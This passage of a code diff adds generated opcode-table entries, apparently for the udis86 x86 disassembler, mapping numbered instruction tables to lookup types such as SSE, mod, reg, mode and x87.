"/sse" }, + /* 492 */ { ud_itab__492, UD_TAB__OPC_SSE, "/sse" }, + /* 493 */ { ud_itab__493, UD_TAB__OPC_SSE, "/sse" }, + /* 494 */ { ud_itab__494, UD_TAB__OPC_SSE, "/sse" }, + /* 495 */ { ud_itab__495, UD_TAB__OPC_SSE, "/sse" }, + /* 496 */ { ud_itab__496, UD_TAB__OPC_REG, "/reg" }, + /* 497 */ { ud_itab__497, UD_TAB__OPC_SSE, "/sse" }, + /* 498 */ { ud_itab__498, UD_TAB__OPC_OSIZE, "/o" }, + /* 499 */ { ud_itab__499, UD_TAB__OPC_SSE, "/sse" }, + /* 500 */ { ud_itab__500, UD_TAB__OPC_VENDOR, "intel" }, + /* 501 */ { ud_itab__501, UD_TAB__OPC_VENDOR, "intel" }, + /* 502 */ { ud_itab__502, UD_TAB__OPC_VENDOR, "intel" }, + /* 503 */ { ud_itab__503, UD_TAB__OPC_SSE, "/sse" }, + /* 504 */ { ud_itab__504, UD_TAB__OPC_VENDOR, "intel" }, + /* 505 */ { ud_itab__505, UD_TAB__OPC_SSE, "/sse" }, + /* 506 */ { ud_itab__506, UD_TAB__OPC_SSE, "/sse" }, + /* 507 */ { ud_itab__507, UD_TAB__OPC_SSE, "/sse" }, + /* 508 */ { ud_itab__508, UD_TAB__OPC_SSE, "/sse" }, + /* 509 */ { ud_itab__509, UD_TAB__OPC_SSE, "/sse" }, + /* 510 */ { ud_itab__510, UD_TAB__OPC_SSE, "/sse" }, + /* 511 */ { ud_itab__511, UD_TAB__OPC_SSE, "/sse" }, + /* 512 */ { ud_itab__512, UD_TAB__OPC_SSE, "/sse" }, + /* 513 */ { ud_itab__513, UD_TAB__OPC_SSE, "/sse" }, + /* 514 */ { ud_itab__514, UD_TAB__OPC_SSE, "/sse" }, + /* 515 */ { ud_itab__515, UD_TAB__OPC_SSE, "/sse" }, + /* 516 */ { ud_itab__516, UD_TAB__OPC_SSE, "/sse" }, + /* 517 */ { ud_itab__517, UD_TAB__OPC_SSE, "/sse" }, + /* 518 */ { ud_itab__518, UD_TAB__OPC_SSE, "/sse" }, + /* 519 */ { ud_itab__519, UD_TAB__OPC_SSE, "/sse" }, + /* 520 */ { ud_itab__520, UD_TAB__OPC_SSE, "/sse" }, + /* 521 */ { ud_itab__521, UD_TAB__OPC_SSE, "/sse" }, + /* 522 */ { ud_itab__522, UD_TAB__OPC_SSE, "/sse" }, + /* 523 */ { ud_itab__523, UD_TAB__OPC_SSE, "/sse" }, + /* 524 */ { ud_itab__524, UD_TAB__OPC_SSE, "/sse" }, + /* 525 */ { ud_itab__525, UD_TAB__OPC_SSE, "/sse" }, + /* 526 */ { ud_itab__526, UD_TAB__OPC_SSE, "/sse" }, + /* 527 */ { ud_itab__527, UD_TAB__OPC_SSE, "/sse" }, + /* 528 */ { ud_itab__528, UD_TAB__OPC_SSE, "/sse" }, + /* 529 */ { ud_itab__529, UD_TAB__OPC_SSE, "/sse" }, + /* 530 */ { ud_itab__530, UD_TAB__OPC_SSE, "/sse" }, + /* 531 */ { ud_itab__531, UD_TAB__OPC_SSE, "/sse" }, + /* 532 */ { ud_itab__532, UD_TAB__OPC_SSE, "/sse" }, + /* 533 */ { ud_itab__533, UD_TAB__OPC_SSE, "/sse" }, + /* 534 */ { ud_itab__534, UD_TAB__OPC_SSE, "/sse" }, + /* 535 */ { ud_itab__535, UD_TAB__OPC_SSE, "/sse" }, + /* 536 */ { ud_itab__536, UD_TAB__OPC_SSE, "/sse" }, + /* 537 */ { ud_itab__537, UD_TAB__OPC_SSE, "/sse" }, + /* 538 */ { ud_itab__538, UD_TAB__OPC_SSE, "/sse" }, + /* 539 */ { ud_itab__539, UD_TAB__OPC_SSE, "/sse" }, + /* 540 */ { ud_itab__540, UD_TAB__OPC_SSE, "/sse" }, + /* 541 */ { ud_itab__541, UD_TAB__OPC_SSE, "/sse" }, + /* 542 */ { ud_itab__542, UD_TAB__OPC_SSE, "/sse" }, + /* 543 */ { ud_itab__543, UD_TAB__OPC_SSE, "/sse" }, + /* 544 */ { ud_itab__544, UD_TAB__OPC_SSE, "/sse" }, + /* 545 */ { ud_itab__545, UD_TAB__OPC_SSE, "/sse" }, + /* 546 */ { ud_itab__546, UD_TAB__OPC_SSE, "/sse" }, + /* 547 */ { ud_itab__547, UD_TAB__OPC_SSE, "/sse" }, + /* 548 */ { ud_itab__548, UD_TAB__OPC_SSE, "/sse" }, + /* 549 */ { ud_itab__549, UD_TAB__OPC_SSE, "/sse" }, + /* 550 */ { ud_itab__550, UD_TAB__OPC_SSE, "/sse" }, + /* 551 */ { ud_itab__551, UD_TAB__OPC_SSE, "/sse" }, + /* 552 */ { ud_itab__552, UD_TAB__OPC_MOD, "/mod" }, + /* 553 */ { ud_itab__553, UD_TAB__OPC_SSE, "/sse" }, + /* 554 */ { ud_itab__554, UD_TAB__OPC_MOD, "/mod" }, + /* 555 */ { ud_itab__555, UD_TAB__OPC_MOD, "/mod" }, + /* 556 */ { ud_itab__556, UD_TAB__OPC_SSE, "/sse" }, + /* 557 */ { ud_itab__557, UD_TAB__OPC_SSE, "/sse" }, + /* 558 */ { ud_itab__558, UD_TAB__OPC_SSE, "/sse" }, + /* 559 */ { ud_itab__559, UD_TAB__OPC_SSE, "/sse" }, + /* 560 */ { ud_itab__560, UD_TAB__OPC_SSE, "/sse" }, + /* 561 */ { ud_itab__561, UD_TAB__OPC_SSE, "/sse" }, + /* 562 */ { ud_itab__562, UD_TAB__OPC_SSE, "/sse" }, + /* 563 */ { ud_itab__563, UD_TAB__OPC_MODE, "/m" }, + /* 564 */ { ud_itab__564, UD_TAB__OPC_MODE, "/m" }, + /* 565 */ { ud_itab__565, UD_TAB__OPC_MODE, "/m" }, + /* 566 */ { ud_itab__566, UD_TAB__OPC_MODE, "/m" }, + /* 567 */ { ud_itab__567, UD_TAB__OPC_MODE, "/m" }, + /* 568 */ { ud_itab__568, UD_TAB__OPC_MODE, "/m" }, + /* 569 */ { ud_itab__569, UD_TAB__OPC_MODE, "/m" }, + /* 570 */ { ud_itab__570, UD_TAB__OPC_MODE, "/m" }, + /* 571 */ { ud_itab__571, UD_TAB__OPC_OSIZE, "/o" }, + /* 572 */ { ud_itab__572, UD_TAB__OPC_MODE, "/m" }, + /* 573 */ { ud_itab__573, UD_TAB__OPC_MODE, "/m" }, + /* 574 */ { ud_itab__574, UD_TAB__OPC_OSIZE, "/o" }, + /* 575 */ { ud_itab__575, UD_TAB__OPC_MODE, "/m" }, + /* 576 */ { ud_itab__576, UD_TAB__OPC_MODE, "/m" }, + /* 577 */ { ud_itab__577, UD_TAB__OPC_MODE, "/m" }, + /* 578 */ { ud_itab__578, UD_TAB__OPC_MODE, "/m" }, + /* 579 */ { ud_itab__579, UD_TAB__OPC_OSIZE, "/o" }, + /* 580 */ { ud_itab__580, UD_TAB__OPC_OSIZE, "/o" }, + /* 581 */ { ud_itab__581, UD_TAB__OPC_REG, "/reg" }, + /* 582 */ { ud_itab__582, UD_TAB__OPC_REG, "/reg" }, + /* 583 */ { ud_itab__583, UD_TAB__OPC_REG, "/reg" }, + /* 584 */ { ud_itab__584, UD_TAB__OPC_MODE, "/m" }, + /* 585 */ { ud_itab__585, UD_TAB__OPC_MODE, "/m" }, + /* 586 */ { ud_itab__586, UD_TAB__OPC_MODE, "/m" }, + /* 587 */ { ud_itab__587, UD_TAB__OPC_MODE, "/m" }, + /* 588 */ { ud_itab__588, UD_TAB__OPC_MODE, "/m" }, + /* 589 */ { ud_itab__589, UD_TAB__OPC_MODE, "/m" }, + /* 590 */ { ud_itab__590, UD_TAB__OPC_MODE, "/m" }, + /* 591 */ { ud_itab__591, UD_TAB__OPC_MODE, "/m" }, + /* 592 */ { ud_itab__592, UD_TAB__OPC_REG, "/reg" }, + /* 593 */ { ud_itab__593, UD_TAB__OPC_REG, "/reg" }, + /* 594 */ { ud_itab__594, UD_TAB__OPC_OSIZE, "/o" }, + /* 595 */ { ud_itab__595, UD_TAB__OPC_OSIZE, "/o" }, + /* 596 */ { ud_itab__596, UD_TAB__OPC_MODE, "/m" }, + /* 597 */ { ud_itab__597, UD_TAB__OPC_OSIZE, "/o" }, + /* 598 */ { ud_itab__598, UD_TAB__OPC_MODE, "/m" }, + /* 599 */ { ud_itab__599, UD_TAB__OPC_MODE, "/m" }, + /* 600 */ { ud_itab__600, UD_TAB__OPC_MODE, "/m" }, + /* 601 */ { ud_itab__601, UD_TAB__OPC_OSIZE, "/o" }, + /* 602 */ { ud_itab__602, UD_TAB__OPC_MODE, "/m" }, + /* 603 */ { ud_itab__603, UD_TAB__OPC_MODE, "/m" }, + /* 604 */ { ud_itab__604, UD_TAB__OPC_MODE, "/m" }, + /* 605 */ { ud_itab__605, UD_TAB__OPC_OSIZE, "/o" }, + /* 606 */ { ud_itab__606, UD_TAB__OPC_OSIZE, "/o" }, + /* 607 */ { ud_itab__607, UD_TAB__OPC_OSIZE, "/o" }, + /* 608 */ { ud_itab__608, UD_TAB__OPC_OSIZE, "/o" }, + /* 609 */ { ud_itab__609, UD_TAB__OPC_OSIZE, "/o" }, + /* 610 */ { ud_itab__610, UD_TAB__OPC_REG, "/reg" }, + /* 611 */ { ud_itab__611, UD_TAB__OPC_REG, "/reg" }, + /* 612 */ { ud_itab__612, UD_TAB__OPC_MODE, "/m" }, + /* 613 */ { ud_itab__613, UD_TAB__OPC_MODE, "/m" }, + /* 614 */ { ud_itab__614, UD_TAB__OPC_REG, "/reg" }, + /* 615 */ { ud_itab__615, UD_TAB__OPC_REG, "/reg" }, + /* 616 */ { ud_itab__616, UD_TAB__OPC_MODE, "/m" }, + /* 617 */ { ud_itab__617, UD_TAB__OPC_OSIZE, "/o" }, + /* 618 */ { ud_itab__618, UD_TAB__OPC_REG, "/reg" }, + /* 619 */ { ud_itab__619, UD_TAB__OPC_REG, "/reg" }, + /* 620 */ { ud_itab__620, UD_TAB__OPC_REG, "/reg" }, + /* 621 */ { ud_itab__621, UD_TAB__OPC_REG, "/reg" }, + /* 622 */ { ud_itab__622, UD_TAB__OPC_MODE, "/m" }, + /* 623 */ { ud_itab__623, UD_TAB__OPC_MODE, "/m" }, + /* 624 */ { ud_itab__624, UD_TAB__OPC_MODE, "/m" }, + /* 625 */ { ud_itab__625, UD_TAB__OPC_MOD, "/mod" }, + /* 626 */ { ud_itab__626, UD_TAB__OPC_REG, "/reg" }, + /* 627 */ { ud_itab__627, UD_TAB__OPC_MOD, "/mod" }, + /* 628 */ { ud_itab__628, UD_TAB__OPC_MOD, "/mod" }, + /* 629 */ { ud_itab__629, UD_TAB__OPC_MOD, "/mod" }, + /* 630 */ { ud_itab__630, UD_TAB__OPC_MOD, "/mod" }, + /* 631 */ { ud_itab__631, UD_TAB__OPC_MOD, "/mod" }, + /* 632 */ { ud_itab__632, UD_TAB__OPC_MOD, "/mod" }, + /* 633 */ { ud_itab__633, UD_TAB__OPC_MOD, "/mod" }, + /* 634 */ { ud_itab__634, UD_TAB__OPC_MOD, "/mod" }, + /* 635 */ { ud_itab__635, UD_TAB__OPC_X87, "/x87" }, + /* 636 */ { ud_itab__636, UD_TAB__OPC_MOD, "/mod" }, + /* 637 */ { ud_itab__637, UD_TAB__OPC_MOD, "/mod" }, + /* 638 */ { ud_itab__638, UD_TAB__OPC_MOD, "/mod" }, + /* 639 */ { ud_itab__639, UD_TAB__OPC_MOD, "/mod" }, + /* 640 */ { ud_itab__640, UD_TAB__OPC_MOD, "/mod" }, + /* 641 */ { ud_itab__641, UD_TAB__OPC_MOD, "/mod" }, + /* 642 */ { ud_itab__642, UD_TAB__OPC_MOD, "/mod" }, + /* 643 */ { ud_itab__643, UD_TAB__OPC_MOD, "/mod" }, + /* 644 */ { ud_itab__644, UD_TAB__OPC_MOD, "/mod" }, + /* 645 */ { ud_itab__645, UD_TAB__OPC_MOD, "/mod" }, + /* 646 */ { ud_itab__646, UD_TAB__OPC_MOD, "/mod" }, + /* 647 */ { ud_itab__647, UD_TAB__OPC_MOD, "/mod" }, + /* 648 */ { ud_itab__648, UD_TAB__OPC_MOD, "/mod" }, + /* 649 */ { ud_itab__649, UD_TAB__OPC_MOD, "/mod" }, + /* 650 */ { ud_itab__650, UD_TAB__OPC_MOD, "/mod" }, + /* 651 */ { ud_itab__651, UD_TAB__OPC_MOD, "/mod" }, + /* 652 */ { ud_itab__652, UD_TAB__OPC_MOD, "/mod" }, + /* 653 */ { ud_itab__653, UD_TAB__OPC_MOD, "/mod" }, + /* 654 */ { ud_itab__654, UD_TAB__OPC_MOD, "/mod" }, + /* 655 */ { ud_itab__655, UD_TAB__OPC_MOD, "/mod" }, + /* 656 */ { ud_itab__656, UD_TAB__OPC_MOD, "/mod" }, + /* 657 */ { ud_itab__657, UD_TAB__OPC_MOD, "/mod" }, + /* 658 */ { ud_itab__658, UD_TAB__OPC_MOD, "/mod" }, + /* 659 */ { ud_itab__659, UD_TAB__OPC_MOD, "/mod" }, + /* 660 */ { ud_itab__660, UD_TAB__OPC_MOD, "/mod" }, + /* 661 */ { ud_itab__661, UD_TAB__OPC_MOD, "/mod" }, + /* 662 */ { ud_itab__662, UD_TAB__OPC_MOD, "/mod" }, + /* 663 */ { ud_itab__663, UD_TAB__OPC_MOD, "/mod" }, + /* 664 */ { ud_itab__664, UD_TAB__OPC_MOD, "/mod" }, + /* 665 */ { ud_itab__665, UD_TAB__OPC_MOD, "/mod" }, + /* 666 */ { ud_itab__666, UD_TAB__OPC_MOD, "/mod" }, + /* 667 */ { ud_itab__667, UD_TAB__OPC_MOD, "/mod" }, + /* 668 */ { ud_itab__668, UD_TAB__OPC_MOD, "/mod" }, + /* 669 */ { ud_itab__669, UD_TAB__OPC_MOD, "/mod" }, + /* 670 */ { ud_itab__670, UD_TAB__OPC_MOD, "/mod" }, + /* 671 */ { ud_itab__671, UD_TAB__OPC_MOD, "/mod" }, + /* 672 */ { ud_itab__672, UD_TAB__OPC_MOD, "/mod" }, + /* 673 */ { ud_itab__673, UD_TAB__OPC_MOD, "/mod" }, + /* 674 */ { ud_itab__674, UD_TAB__OPC_MOD, "/mod" }, + /* 675 */ { ud_itab__675, UD_TAB__OPC_MOD, "/mod" }, + /* 676 */ { ud_itab__676, UD_TAB__OPC_MOD, "/mod" }, + /* 677 */ { ud_itab__677, UD_TAB__OPC_MOD, "/mod" }, + /* 678 */ { ud_itab__678, UD_TAB__OPC_MOD, "/mod" }, + /* 679 */ { ud_itab__679, UD_TAB__OPC_MOD, "/mod" }, + /* 680 */ { ud_itab__680, UD_TAB__OPC_MOD, "/mod" }, + /* 681 */ { ud_itab__681, UD_TAB__OPC_MOD, "/mod" }, + /* 682 */ { ud_itab__682, UD_TAB__OPC_MOD, "/mod" }, + /* 683 */ { ud_itab__683, UD_TAB__OPC_MOD, "/mod" }, + /* 684 */ { ud_itab__684, UD_TAB__OPC_MOD, "/mod" }, + /* 685 */ { ud_itab__685, UD_TAB__OPC_MOD, "/mod" }, + /* 686 */ { ud_itab__686, UD_TAB__OPC_MOD, "/mod" }, + /* 687 */ { ud_itab__687, UD_TAB__OPC_MOD, "/mod" }, + /* 688 */ { ud_itab__688, UD_TAB__OPC_MOD, "/mod" }, + /* 689 */ { ud_itab__689, UD_TAB__OPC_MOD, "/mod" }, + /* 690 */ { ud_itab__690, UD_TAB__OPC_MOD, "/mod" }, + /* 691 */ { ud_itab__691, UD_TAB__OPC_MOD, "/mod" }, + /* 692 */ { ud_itab__692, UD_TAB__OPC_MOD, "/mod" }, + /* 693 */ { ud_itab__693, UD_TAB__OPC_MOD, "/mod" }, + /* 694 */ { ud_itab__694, UD_TAB__OPC_MOD, "/mod" }, + /* 695 */ { ud_itab__695, UD_TAB__OPC_MOD, "/mod" }, + /* 696 */ { ud_itab__696, UD_TAB__OPC_MOD, "/mod" }, + /* 697 */ { ud_itab__697, UD_TAB__OPC_MOD, "/mod" }, + /* 698 */ { ud_itab__698, UD_TAB__OPC_MOD, "/mod" }, + /* 699 */ { ud_itab__699, UD_TAB__OPC_MOD, "/mod" }, + /* 700 */ { ud_itab__700, UD_TAB__OPC_MOD, "/mod" }, + /* 701 */ { ud_itab__701, UD_TAB__OPC_REG, "/reg" }, + /* 702 */ { ud_itab__702, UD_TAB__OPC_MOD, "/mod" }, + /* 703 */ { ud_itab__703, UD_TAB__OPC_MOD, "/mod" }, + /* 704 */ { ud_itab__704, UD_TAB__OPC_MOD, "/mod" }, + /* 705 */ { ud_itab__705, UD_TAB__OPC_MOD, "/mod" }, + /* 706 */ { ud_itab__706, UD_TAB__OPC_MOD, "/mod" }, + /* 707 */ { ud_itab__707, UD_TAB__OPC_MOD, "/mod" }, + /* 708 */ { ud_itab__708, UD_TAB__OPC_MOD, "/mod" }, + /* 709 */ { ud_itab__709, UD_TAB__OPC_X87, "/x87" }, + /* 710 */ { ud_itab__710, UD_TAB__OPC_MOD, "/mod" }, + /* 711 */ { ud_itab__711, UD_TAB__OPC_MOD, "/mod" }, + /* 712 */ { ud_itab__712, UD_TAB__OPC_MOD, "/mod" }, + /* 713 */ { ud_itab__713, UD_TAB__OPC_MOD, "/mod" }, + /* 714 */ { ud_itab__714, UD_TAB__OPC_MOD, "/mod" }, + /* 715 */ { ud_itab__715, UD_TAB__OPC_MOD, "/mod" }, + /* 716 */ { ud_itab__716, UD_TAB__OPC_MOD, "/mod" }, + /* 717 */ { ud_itab__717, UD_TAB__OPC_MOD, "/mod" }, + /* 718 */ { ud_itab__718, UD_TAB__OPC_MOD, "/mod" }, + /* 719 */ { ud_itab__719, UD_TAB__OPC_MOD, "/mod" }, + /* 720 */ { ud_itab__720, UD_TAB__OPC_MOD, "/mod" }, + /* 721 */ { ud_itab__721, UD_TAB__OPC_MOD, "/mod" }, + /* 722 */ { ud_itab__722, UD_TAB__OPC_MOD, "/mod" }, + /* 723 */ { ud_itab__723, UD_TAB__OPC_MOD, "/mod" }, + /* 724 */ { ud_itab__724, UD_TAB__OPC_MOD, "/mod" }, + /* 725 */ { ud_itab__725, UD_TAB__OPC_MOD, "/mod" }, + /* 726 */ { ud_itab__726, UD_TAB__OPC_MOD, "/mod" }, + /* 727 */ { ud_itab__727, UD_TAB__OPC_MOD, "/mod" }, + /* 728 */ { ud_itab__728, UD_TAB__OPC_MOD, "/mod" }, + /* 729 */ { ud_itab__729, UD_TAB__OPC_MOD, "/mod" }, + /* 730 */ { ud_itab__730, UD_TAB__OPC_MOD, "/mod" }, + /* 731 */ { ud_itab__731, UD_TAB__OPC_MOD, "/mod" }, + /* 732 */ { ud_itab__732, UD_TAB__OPC_MOD, "/mod" }, + /* 733 */ { ud_itab__733, UD_TAB__OPC_MOD, "/mod" }, + /* 734 */ { ud_itab__734, UD_TAB__OPC_MOD, "/mod" }, + /* 735 */ { ud_itab__735, UD_TAB__OPC_MOD, "/mod" }, + /* 736 */ { ud_itab__736, UD_TAB__OPC_MOD, "/mod" }, + /* 737 */ { ud_itab__737, UD_TAB__OPC_MOD, "/mod" }, + /* 738 */ { ud_itab__738, UD_TAB__OPC_MOD, "/mod" }, + /* 739 */ { ud_itab__739, UD_TAB__OPC_MOD, "/mod" }, + /* 740 */ { ud_itab__740, UD_TAB__OPC_MOD, "/mod" }, + /* 741 */ { ud_itab__741, UD_TAB__OPC_MOD, "/mod" }, + /* 742 */ { ud_itab__742, UD_TAB__OPC_MOD, "/mod" }, + /* 743 */ { ud_itab__743, UD_TAB__OPC_MOD, "/mod" }, + /* 744 */ { ud_itab__744, UD_TAB__OPC_MOD, "/mod" }, + /* 745 */ { ud_itab__745, UD_TAB__OPC_MOD, "/mod" }, + /* 746 */ { ud_itab__746, UD_TAB__OPC_MOD, "/mod" }, + /* 747 */ { ud_itab__747, UD_TAB__OPC_MOD, "/mod" }, + /* 748 */ { ud_itab__748, UD_TAB__OPC_MOD, "/mod" }, + /* 749 */ { ud_itab__749, UD_TAB__OPC_MOD, "/mod" }, + /* 750 */ { ud_itab__750, UD_TAB__OPC_MOD, "/mod" }, + /* 751 */ { ud_itab__751, UD_TAB__OPC_MOD, "/mod" }, + /* 752 */ { ud_itab__752, UD_TAB__OPC_MOD, "/mod" }, + /* 753 */ { ud_itab__753, UD_TAB__OPC_MOD, "/mod" }, + /* 754 */ { ud_itab__754, UD_TAB__OPC_MOD, "/mod" }, + /* 755 */ { ud_itab__755, UD_TAB__OPC_MOD, "/mod" }, + /* 756 */ { ud_itab__756, UD_TAB__OPC_MOD, "/mod" }, + /* 757 */ { ud_itab__757, UD_TAB__OPC_MOD, "/mod" }, + /* 758 */ { ud_itab__758, UD_TAB__OPC_MOD, "/mod" }, + /* 759 */ { ud_itab__759, UD_TAB__OPC_MOD, "/mod" }, + /* 760 */ { ud_itab__760, UD_TAB__OPC_MOD, "/mod" }, + /* 761 */ { ud_itab__761, UD_TAB__OPC_MOD, "/mod" }, + /* 762 */ { ud_itab__762, UD_TAB__OPC_MOD, "/mod" }, + /* 763 */ { ud_itab__763, UD_TAB__OPC_REG, "/reg" }, + /* 764 */ { ud_itab__764, UD_TAB__OPC_MOD, "/mod" }, + /* 765 */ { ud_itab__765, UD_TAB__OPC_MOD, "/mod" }, + /* 766 */ { ud_itab__766, UD_TAB__OPC_MOD, "/mod" }, + /* 767 */ { ud_itab__767, UD_TAB__OPC_MOD, "/mod" }, + /* 768 */ { ud_itab__768, UD_TAB__OPC_MOD, "/mod" }, + /* 769 */ { ud_itab__769, UD_TAB__OPC_MOD, "/mod" }, + /* 770 */ { ud_itab__770, UD_TAB__OPC_MOD, "/mod" }, + /* 771 */ { ud_itab__771, UD_TAB__OPC_MOD, "/mod" }, + /* 772 */ { ud_itab__772, UD_TAB__OPC_X87, "/x87" }, + /* 773 */ { ud_itab__773, UD_TAB__OPC_MOD, "/mod" }, + /* 774 */ { ud_itab__774, UD_TAB__OPC_MOD, "/mod" }, + /* 775 */ { ud_itab__775, UD_TAB__OPC_MOD, "/mod" }, + /* 776 */ { ud_itab__776, UD_TAB__OPC_MOD, "/mod" }, + /* 777 */ { ud_itab__777, UD_TAB__OPC_MOD, "/mod" }, + /* 778 */ { ud_itab__778, UD_TAB__OPC_MOD, "/mod" }, + /* 779 */ { ud_itab__779, UD_TAB__OPC_MOD, "/mod" }, + /* 780 */ { ud_itab__780, UD_TAB__OPC_MOD, "/mod" }, + /* 781 */ { ud_itab__781, UD_TAB__OPC_MOD, "/mod" }, + /* 782 */ { ud_itab__782, UD_TAB__OPC_MOD, "/mod" }, + /* 783 */ { ud_itab__783, UD_TAB__OPC_MOD, "/mod" }, + /* 784 */ { ud_itab__784, UD_TAB__OPC_MOD, "/mod" }, + /* 785 */ { ud_itab__785, UD_TAB__OPC_MOD, "/mod" }, + /* 786 */ { ud_itab__786, UD_TAB__OPC_MOD, "/mod" }, + /* 787 */ { ud_itab__787, UD_TAB__OPC_MOD, "/mod" }, + /* 788 */ { ud_itab__788, UD_TAB__OPC_MOD, "/mod" }, + /* 789 */ { ud_itab__789, UD_TAB__OPC_MOD, "/mod" }, + /* 790 */ { ud_itab__790, UD_TAB__OPC_MOD, "/mod" }, + /* 791 */ { ud_itab__791, UD_TAB__OPC_MOD, "/mod" }, + /* 792 */ { ud_itab__792, UD_TAB__OPC_MOD, "/mod" }, + /* 793 */ { ud_itab__793, UD_TAB__OPC_MOD, "/mod" }, + /* 794 */ { ud_itab__794, UD_TAB__OPC_MOD, "/mod" }, + /* 795 */ { ud_itab__795, UD_TAB__OPC_MOD, "/mod" }, + /* 796 */ { ud_itab__796, UD_TAB__OPC_MOD, "/mod" }, + /* 797 */ { ud_itab__797, UD_TAB__OPC_MOD, "/mod" }, + /* 798 */ { ud_itab__798, UD_TAB__OPC_MOD, "/mod" }, + /* 799 */ { ud_itab__799, UD_TAB__OPC_MOD, "/mod" }, + /* 800 */ { ud_itab__800, UD_TAB__OPC_MOD, "/mod" }, + /* 801 */ { ud_itab__801, UD_TAB__OPC_MOD, "/mod" }, + /* 802 */ { ud_itab__802, UD_TAB__OPC_MOD, "/mod" }, + /* 803 */ { ud_itab__803, UD_TAB__OPC_MOD, "/mod" }, + /* 804 */ { ud_itab__804, UD_TAB__OPC_MOD, "/mod" }, + /* 805 */ { ud_itab__805, UD_TAB__OPC_MOD, "/mod" }, + /* 806 */ { ud_itab__806, UD_TAB__OPC_MOD, "/mod" }, + /* 807 */ { ud_itab__807, UD_TAB__OPC_REG, "/reg" }, + /* 808 */ { ud_itab__808, UD_TAB__OPC_MOD, "/mod" }, + /* 809 */ { ud_itab__809, UD_TAB__OPC_MOD, "/mod" }, + /* 810 */ { ud_itab__810, UD_TAB__OPC_MOD, "/mod" }, + /* 811 */ { ud_itab__811, UD_TAB__OPC_MOD, "/mod" }, + /* 812 */ { ud_itab__812, UD_TAB__OPC_MOD, "/mod" }, + /* 813 */ { ud_itab__813, UD_TAB__OPC_MOD, "/mod" }, + /* 814 */ { ud_itab__814, UD_TAB__OPC_X87, "/x87" }, + /* 815 */ { ud_itab__815, UD_TAB__OPC_MOD, "/mod" }, + /* 816 */ { ud_itab__816, UD_TAB__OPC_MOD, "/mod" }, + /* 817 */ { ud_itab__817, UD_TAB__OPC_MOD, "/mod" }, + /* 818 */ { ud_itab__818, UD_TAB__OPC_MOD, "/mod" }, + /* 819 */ { ud_itab__819, UD_TAB__OPC_MOD, "/mod" }, + /* 820 */ { ud_itab__820, UD_TAB__OPC_MOD, "/mod" }, + /* 821 */ { ud_itab__821, UD_TAB__OPC_MOD, "/mod" }, + /* 822 */ { ud_itab__822, UD_TAB__OPC_MOD, "/mod" }, + /* 823 */ { ud_itab__823, UD_TAB__OPC_MOD, "/mod" }, + /* 824 */ { ud_itab__824, UD_TAB__OPC_MOD, "/mod" }, + /* 825 */ { ud_itab__825, UD_TAB__OPC_MOD, "/mod" }, + /* 826 */ { ud_itab__826, UD_TAB__OPC_MOD, "/mod" }, + /* 827 */ { ud_itab__827, UD_TAB__OPC_MOD, "/mod" }, + /* 828 */ { ud_itab__828, UD_TAB__OPC_MOD, "/mod" }, + /* 829 */ { ud_itab__829, UD_TAB__OPC_MOD, "/mod" }, + /* 830 */ { ud_itab__830, UD_TAB__OPC_MOD, "/mod" }, + /* 831 */ { ud_itab__831, UD_TAB__OPC_MOD, "/mod" }, + /* 832 */ { ud_itab__832, UD_TAB__OPC_MOD, "/mod" }, + /* 833 */ { ud_itab__833, UD_TAB__OPC_MOD, "/mod" }, + /* 834 */ { ud_itab__834, UD_TAB__OPC_MOD, "/mod" }, + /* 835 */ { ud_itab__835, UD_TAB__OPC_MOD, "/mod" }, + /* 836 */ { ud_itab__836, UD_TAB__OPC_MOD, "/mod" }, + /* 837 */ { ud_itab__837, UD_TAB__OPC_MOD, "/mod" }, + /* 838 */ { ud_itab__838, UD_TAB__OPC_MOD, "/mod" }, + /* 839 */ { ud_itab__839, UD_TAB__OPC_MOD, "/mod" }, + /* 840 */ { ud_itab__840, UD_TAB__OPC_MOD, "/mod" }, + /* 841 */ { ud_itab__841, UD_TAB__OPC_MOD, "/mod" }, + /* 842 */ { ud_itab__842, UD_TAB__OPC_MOD, "/mod" }, + /* 843 */ { ud_itab__843, UD_TAB__OPC_MOD, "/mod" }, + /* 844 */ { ud_itab__844, UD_TAB__OPC_MOD, "/mod" }, + /* 845 */ { ud_itab__845, UD_TAB__OPC_MOD, "/mod" }, + /* 846 */ { ud_itab__846, UD_TAB__OPC_MOD, "/mod" }, + /* 847 */ { ud_itab__847, UD_TAB__OPC_MOD, "/mod" }, + /* 848 */ { ud_itab__848, UD_TAB__OPC_MOD, "/mod" }, + /* 849 */ { ud_itab__849, UD_TAB__OPC_MOD, "/mod" }, + /* 850 */ { ud_itab__850, UD_TAB__OPC_MOD, "/mod" }, + /* 851 */ { ud_itab__851, UD_TAB__OPC_MOD, "/mod" }, + /* 852 */ { ud_itab__852, UD_TAB__OPC_MOD, "/mod" }, + /* 853 */ { ud_itab__853, UD_TAB__OPC_MOD, "/mod" }, + /* 854 */ { ud_itab__854, UD_TAB__OPC_MOD, "/mod" }, + /* 855 */ { ud_itab__855, UD_TAB__OPC_MOD, "/mod" }, + /* 856 */ { ud_itab__856, UD_TAB__OPC_MOD, "/mod" }, + /* 857 */ { ud_itab__857, UD_TAB__OPC_MOD, "/mod" }, + /* 858 */ { ud_itab__858, UD_TAB__OPC_MOD, "/mod" }, + /* 859 */ { ud_itab__859, UD_TAB__OPC_MOD, "/mod" }, + /* 860 */ { ud_itab__860, UD_TAB__OPC_MOD, "/mod" }, + /* 861 */ { ud_itab__861, UD_TAB__OPC_MOD, "/mod" }, + /* 862 */ { ud_itab__862, UD_TAB__OPC_MOD, "/mod" }, + /* 863 */ { ud_itab__863, UD_TAB__OPC_MOD, "/mod" }, + /* 864 */ { ud_itab__864, UD_TAB__OPC_MOD, "/mod" }, + /* 865 */ { ud_itab__865, UD_TAB__OPC_MOD, "/mod" }, + /* 866 */ { ud_itab__866, UD_TAB__OPC_REG, "/reg" }, + /* 867 */ { ud_itab__867, UD_TAB__OPC_MOD, "/mod" }, + /* 868 */ { ud_itab__868, UD_TAB__OPC_MOD, "/mod" }, + /* 869 */ { ud_itab__869, UD_TAB__OPC_MOD, "/mod" }, + /* 870 */ { ud_itab__870, UD_TAB__OPC_MOD, "/mod" }, + /* 871 */ { ud_itab__871, UD_TAB__OPC_MOD, "/mod" }, + /* 872 */ { ud_itab__872, UD_TAB__OPC_MOD, "/mod" }, + /* 873 */ { ud_itab__873, UD_TAB__OPC_MOD, "/mod" }, + /* 874 */ { ud_itab__874, UD_TAB__OPC_MOD, "/mod" }, + /* 875 */ { ud_itab__875, UD_TAB__OPC_X87, "/x87" }, + /* 876 */ { ud_itab__876, UD_TAB__OPC_MOD, "/mod" }, + /* 877 */ { ud_itab__877, 